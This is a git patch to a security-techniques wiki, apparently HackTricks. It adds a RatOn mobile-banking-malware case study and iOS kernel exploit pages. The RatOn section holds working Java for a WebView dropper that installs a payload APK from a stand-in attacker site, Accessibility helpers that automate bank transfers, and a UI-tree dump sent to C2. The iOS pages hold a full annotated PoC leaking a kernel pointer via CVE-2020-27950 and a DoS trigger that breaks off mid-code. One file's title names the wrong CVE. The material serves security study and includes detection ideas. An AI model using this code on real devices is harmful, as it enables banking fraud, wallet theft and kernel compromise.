b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md index c416ed0e4..de7c1ab53 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md @@ -222,11 +222,177 @@ public void onMessageReceived(RemoteMessage msg){ --- +## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study + +The RatOn banker/RAT campaign (ThreatFabric) is a concrete example of how modern mobile phishing operations blend WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, and even NFC-relay orchestration. This section abstracts the reusable techniques. + +### Stage-1: WebView → native install bridge (dropper) +Attackers present a WebView pointing to an attacker page and inject a JavaScript interface that exposes a native installer. A tap on an HTML button calls into native code that installs a second-stage APK bundled in the dropper’s assets and then launches it directly. + +Minimal pattern: + +```java +public class DropperActivity extends Activity { + @Override protected void onCreate(Bundle b){ + super.onCreate(b); + WebView wv = new WebView(this); + wv.getSettings().setJavaScriptEnabled(true); + wv.addJavascriptInterface(new Object(){ + @android.webkit.JavascriptInterface + public void installApk(){ + try { + PackageInstaller pi = getPackageManager().getPackageInstaller(); + PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); + int id = pi.createSession(p); + try (PackageInstaller.Session s = pi.openSession(id); + InputStream in = getAssets().open("payload.apk"); + OutputStream out = s.openWrite("base.apk", 0, -1)){ + byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); + } + PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); + pi.commit(id, status.getIntentSender()); + } catch (Exception e) { /* log */ } + } + }, "bridge"); + setContentView(wv); + wv.loadUrl("https://attacker.site/install.html"); + } +} +``` + +HTML on the page: + +```html + +``` + +After install, the dropper starts the payload via explicit package/activity: + +```java +Intent i = new Intent(); +i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); +startActivity(i); +``` + +Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API. + +### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts +Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin. + +- Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks. +- Overlay permission check/request: + +```java +if (!Settings.canDrawOverlays(ctx)) { + Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, + Uri.parse("package:" + ctx.getPackageName())); + ctx.startActivity(i); +} +``` + +See also: + +{{#ref}} +../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +{{#endref}} + +### Overlay phishing/ransom via WebView +Operators can issue commands to: +- render a full-screen overlay from a URL, or +- pass inline HTML that is loaded into a WebView overlay. + +Likely uses: coercion (PIN entry), wallet opening to capture PINs, ransom messaging. Keep a command to ensure overlay permission is granted if missing. + +### Remote control model – text pseudo-screen + screen-cast +- Low-bandwidth: periodically dump the Accessibility node tree, serialize visible texts/roles/bounds and send to C2 as a pseudo-screen (commands like `txt_screen` once and `screen_live` continuous). +- High-fidelity: request MediaProjection and start screen-casting/recording on demand (commands like `display` / `record`). + +### ATS playbook (bank app automation) +Given a JSON task, open the bank app, drive the UI via Accessibility with a mix of text queries and coordinate taps, and enter the victim’s payment PIN when prompted. + +Example task: + +```json +{ + "cmd": "transfer", + "receiver_address": "ACME s.r.o.", + "account": "123456789/0100", + "amount": "24500.00", + "name": "ACME" +} +``` + +Example texts seen in one target flow (CZ → EN): +- "Nová platba" → "New payment" +- "Zadat platbu" → "Enter payment" +- "Nový příjemce" → "New recipient" +- "Domácí číslo účtu" → "Domestic account number" +- "Další" → "Next" +- "Odeslat" → "Send" +- "Ano, pokračovat" → "Yes, continue" +- "Zaplatit" → "Pay" +- "Hotovo" → "Done" + +Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly. + +### Crypto wallet seed extraction +Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages. + +### Device Admin coercion +Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim: + +- Immediate lock: + +```java +dpm.lockNow(); +``` + +- Expire current credential to force change (Accessibility captures new PIN/password): + +```java +dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner +``` + +- Force non-biometric unlock by disabling keyguard biometric features: + +```java +dpm.setKeyguardDisabledFeatures(admin, + DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | + DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); +``` + +Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM. + +### NFC relay orchestration (NFSkate) +Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS. + +Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). + +### Operator command set (sample) +- UI/state: `txt_screen`, `screen_live`, `display`, `record` +- Social: `send_push`, `Facebook`, `WhatsApp` +- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint` +- Wallets: `metamask`, `trust`, `blockchain`, `phantom` +- ATS: `transfer`, `check_limit`, `limit` +- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` +- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` +- NFC: `nfs`, `nfs_inject` + +### Detection & defence ideas (RatOn-style) +- Hunt for WebViews with `addJavascriptInterface()` exposing installer/permission methods; pages ending in “/access” that trigger Accessibility prompts. +- Alert on apps that generate high-rate Accessibility gestures/clicks shortly after being granted service access; telemetry that resembles Accessibility node dumps sent to C2. +- Monitor Device Admin policy changes in untrusted apps: `lockNow`, password expiration, keyguard feature toggles. +- Alert on MediaProjection prompts from non-corporate apps followed by periodic frame uploads. +- Detect installation/launch of an external NFC-relay app triggered by another app. +- For banking: enforce out-of-band confirmations, biometrics-binding, and transaction-limits resistant to on-device automation. + ## References - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) - [Luban – Android image compression library](https://github.com/Curzibn/Luban) - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) +- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md index b61608f4a..e37e673a3 100644 --- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md @@ -146,8 +146,101 @@ The **AccessibilityService** is the local engine that turns those cloud commands --- +## ATS automation cheat-sheet (Accessibility-driven) +Malware can fully automate a bank app with only Accessibility APIs. Generic primitives: + +```java +// Helpers inside your AccessibilityService +private List byText(String t){ + AccessibilityNodeInfo r = getRootInActiveWindow(); + return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); +} +private boolean clickText(String t){ + for (AccessibilityNodeInfo n: byText(t)){ + if (n.isClickable()) return n.performAction(ACTION_CLICK); + AccessibilityNodeInfo p = n.getParent(); + if (p != null) return p.performAction(ACTION_CLICK); + } + return false; +} +private void inputText(AccessibilityNodeInfo field, String text){ + Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); + field.performAction(ACTION_SET_TEXT, b); +} +private void tap(float x, float y){ + Path p = new Path(); p.moveTo(x,y); + dispatchGesture(new GestureDescription.Builder() + .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); +} +``` + +Example flow (Czech → English labels): +- "Nová platba" (New payment) → click +- "Zadat platbu" (Enter payment) → click +- "Nový příjemce" (New recipient) → click +- "Domácí číslo účtu" (Domestic account number) → focus and `ACTION_SET_TEXT` +- "Další" (Next) → click → … "Zaplatit" (Pay) → click → enter PIN + +Fallback: hard-coded coordinates with `dispatchGesture` when text lookup fails due to custom widgets. + +Also seen: pre-steps to `check_limit` and `limit` by navigating to limits UI and increasing daily limits before transfer. + +## Text-based pseudo-screen streaming +For low-latency remote control, instead of full video streaming, dump a textual representation of the current UI tree and send it to C2 repeatedly. + +```java +private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ + if (n==null) return; + Rect b = new Rect(); n.getBoundsInScreen(b); + CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); + sb.append(indent).append("[").append(cls).append("] ") + .append(txt==null?"":txt).append(" ") + .append(b.toShortString()).append("\n"); + for (int i=0;i Date: Fri, 26 Sep 2025 00:05:48 +0200 Subject: [PATCH 37/40] f --- src/SUMMARY.md | 4 +- .../CVE-2020-27950-mach_msg_trailer_t.md | 345 ++++++++++++++++++ .../CVE-2021-30807-IOMobileFrameBuffer.md | 301 +++++++++++++++ .../ios-exploiting/README.md | 276 ++++++++++++++ .../ios-exploiting/ios-corellium.md | 84 +++++ .../ios-example-heap-exploit.md | 213 +++++++++++ .../ios-physical-uaf-iosurface.md} | 29 +- .../rop-return-oriented-programing/README.md | 146 +++++++- .../ret2lib/README.md | 1 - .../ret2lib/ret2lib-+-printf-leak-arm64.md | 4 +- .../macos-kernel-extensions.md | 31 +- .../README.md | 2 +- .../pentesting-web/wsgi.md | 179 +++++++++ .../dapps-DecentralizedApplications.md | 4 +- .../xss-in-markdown.md | 8 + 15 files changed, 1592 insertions(+), 35 deletions(-) create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md create mode 100644 src/binary-exploitation/ios-exploiting/README.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-corellium.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md rename src/binary-exploitation/{ios-exploiting.md => ios-exploiting/ios-physical-uaf-iosurface.md} (66%) create mode 100644 src/network-services-pentesting/pentesting-web/wsgi.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index dab618a10..3d3e0f341 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -766,7 +766,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -836,7 +836,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..81ef72d1e --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,345 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## The Bug + +You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), but as summary: + +Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**. + +These are the trailer relevant structs: + +```c +typedef struct{ + mach_msg_trailer_type_t msgh_trailer_type; + mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ + mach_msg_trailer_type_t msgh_trailer_type; + mach_msg_trailer_size_t msgh_trailer_size; + mach_port_seqno_t msgh_seqno; + security_token_t msgh_sender; + audit_token_t msgh_audit; + mach_port_context_t msgh_context; + int msgh_ad; + msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` + +Then, when the trailer object is generated, only some fields are initialized, an the max trailer size is always reserved: + +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` + +Then, for example, when trying to read a a mach message using `mach_msg()` the function `ipc_kmsg_add_trailer()` is called to append the trailer to the message. Inside this function the tailer size is calculated and some other trailer fields are filled: + +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] + return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` + +The `option` parameter is user-controlled, so **it's needed to pass a value that passes the `if` check.** + +To pass this check we need to send a valid supported `option`: + +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` + +But, becasaue the `MACH_RCV_TRAILER_MASK` is juts checking bits, we can pass any value between `0` and `8` to not enter inside the `if` statement. + +Then, continuing with the code you can find: + +```c + if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { + trailer->msgh_ad = 0; + } + + /* + * The ipc_kmsg_t holds a reference to the label of a label + * handle, not the port. We must get a reference to the port + * and a send right to copyout to the receiver. + */ + + if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { + trailer->msgh_labels.sender = 0; + } + +done: +#ifdef __arm64__ + ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + + return trailer->msgh_trailer_size; +``` + +Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`. + +If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory. + +So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated. + +### Basic PoC + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. + +### Leak Kernel Address PoC + +The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. + +Commetns were added for better understanding: + +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors → larger descriptor array in kmsg +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors → leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { + mach_port_t port; // our local receive port (target of sends) + mach_port_t sent_port; // the port whose kernel address we want to leak + + /* + * 1) Create a receive right and attach a send right so we can send to ourselves. + * This gives us predictable control over ipc_kmsg allocations when we send. + */ + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); + mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + + /* + * 2) Create another receive port (sent_port). We'll reference this port + * in OOL descriptors so the kernel stores pointers to its ipc_port + * structure in the kmsg → those pointers are what we aim to leak. + */ + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); + mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + + printf("[*] Will get port %x address\n", sent_port); + + message_big_t *big_message = NULL; + message_small_t *small_message = NULL; + + // Compute userland sizes of our message structs + mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); + mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + + // Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) + big_message = malloc(big_size + MAX_TRAILER_SIZE); + small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + + /* + * 3) Prepare the "big" message: + * - Complex bit set (has descriptors) + * - 50 OOL port descriptors, all pointing to the same sent_port + * When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). + * Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). + */ + printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); + memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + + big_message->header.msgh_remote_port = port; // send to our receive right + big_message->header.msgh_size = big_size; + big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) + | MACH_MSGH_BITS_COMPLEX; + big_message->body.msgh_descriptor_count = LEAK_PORTS; + + for (int i = 0; i < LEAK_PORTS; i++) { + big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; + big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; + big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers + } + + /* + * 4) Prepare the "small" message: + * - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, + * the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. + */ + printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); + memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + + small_message->header.msgh_remote_port = port; + small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) + | MACH_MSGH_BITS_COMPLEX; + small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + + for (int i = 0; i < LEAK_PORTS - 10; i++) { + small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; + small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; + small_message->sent_ports[i].name = sent_port; + } + + /* + * 5) Receive buffer for reading back messages with trailers. + * We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). + * On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized + * if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. + */ + uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); + mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) + uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + + /* + * ---------- Exploitation sequence ---------- + * + * Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many + * kernel pointers (ipc_port*) in its descriptor array. + */ + printf("[*] Sending message 1\n"); + mach_msg(&big_message->header, + MACH_SEND_MSG, + big_size, // send size + 0, // no receive + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + /* + * Step B: Immediately receive/discard it with a zero-sized buffer. + * This frees the kalloc chunk without copying descriptors back, + * leaving the kernel pointers resident in freed memory (stale). + */ + printf("[*] Discarding message 1\n"); + mach_msg((mach_msg_header_t *)0, + MACH_RCV_MSG, // try to receive + 0, // send size 0 + 0, // recv size 0 (forces error/free path) + port, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + /* + * Step C: Reuse the same size-class with the "small" message (fewer descriptors). + * We slightly bump msgh_size by +4 so that when the kernel appends + * the trailer, the trailer's uninitialized field `msgh_ad` overlaps + * the low 4 bytes of a stale ipc_port* pointer from the prior message. + */ + small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window + printf("[*] Sending message 2\n"); + mach_msg(&small_message->header, + MACH_SEND_MSG, + small_size + sizeof(uint32_t), + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + /* + * Step D: Receive message 2 and request an invalid trailer elements value (5). + * - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. + * - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. + * - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), + * so with 5, `msgh_ad` remains uninitialized → stale bytes leak. + */ + memset(buffer, 0, big_size + MAX_TRAILER_SIZE); + printf("[*] Reading back message 2\n"); + mach_msg((mach_msg_header_t *)buffer, + MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 + 0, + small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer + port, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + // Trailer begins right after the message body we sent (small_size + 4) + trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + + // Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) + sent_port_address |= (uint32_t)trailer->msgh_ad; + + /* + * Step E: Repeat the A→D cycle but now shift by another +4 bytes. + * This moves the overlap window so `msgh_ad` captures the high 4 bytes. + */ + printf("[*] Sending message 3\n"); + mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + + printf("[*] Discarding message 3\n"); + mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + + // add another +4 to msgh_size → total +8 shift from the baseline + small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; + printf("[*] Sending message 4\n"); + mach_msg(&small_message->header, + MACH_SEND_MSG, + small_size + sizeof(uint32_t)*2, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + memset(buffer, 0, big_size + MAX_TRAILER_SIZE); + printf("[*] Reading back message 4\n"); + mach_msg((mach_msg_header_t *)buffer, + MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), + 0, + small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, + port, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + + // Combine the high 32 bits, reconstructing the full 64-bit kernel pointer + sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + + printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + + return 0; +} +``` + + +## References + +- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..7af9afab8 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,301 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## The Bug + +You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary: + +- The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**. + +- That method forwards into **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, where **`scalar0`** (a user-controlled **32-bit** value) is used as an **index** into an internal **array of pointers** without **any bounds check**: + + > `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\ + > **Result:** **OOB pointer read & type confusion** on that array. If the pointer isn't valid, the kernel deref panics → **DoS**. + +> [!NOTE] +> This was fixed in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** + + +> [!WARNING] +> The initial function to call `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` is protected by the entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process. + +## DoS PoC + +The following is the initial DoS PoC from the ooriginal blog post with extra comments: + +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { + kern_return_t ret; + io_connect_t shared_user_client_conn = MACH_PORT_NULL; + + // The "type" argument is the type (selector) of user client to open. + // For IOMobileFramebuffer, 2 typically maps to a user client that exposes the + // external methods we need (incl. selector 83). If this doesn't work on your + // build, try different types or query IORegistry to enumerate. + int type = 2; + + // 1) Locate the IOMobileFramebuffer service in the IORegistry. + // This returns the first matched service object (a kernel object handle). + io_service_t service = IOServiceGetMatchingService( + kIOMasterPortDefault, + IOServiceMatching("IOMobileFramebuffer")); + + if (service == MACH_PORT_NULL) { + printf("failed to open service\n"); + return; + } + + printf("service: 0x%x\n", service); + + // 2) Open a connection (user client) to the service. + // The user client is what exposes external methods to userland. + // 'type' selects which user client class/variant to instantiate. + ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); + if (ret != KERN_SUCCESS) { + printf("failed to open userclient: %s\n", mach_error_string(ret)); + return; + } + + printf("client: 0x%x\n", shared_user_client_conn); + + printf("call externalMethod\n"); + + // 3) Prepare input scalars for the external method call. + // The vulnerable path uses a 32-bit scalar as an INDEX into an internal + // array of pointers WITHOUT bounds checking (OOB read / type confusion). + // We set it to a large value to force the out-of-bounds access. + uint64_t scalars[4] = { 0x0 }; + scalars[0] = 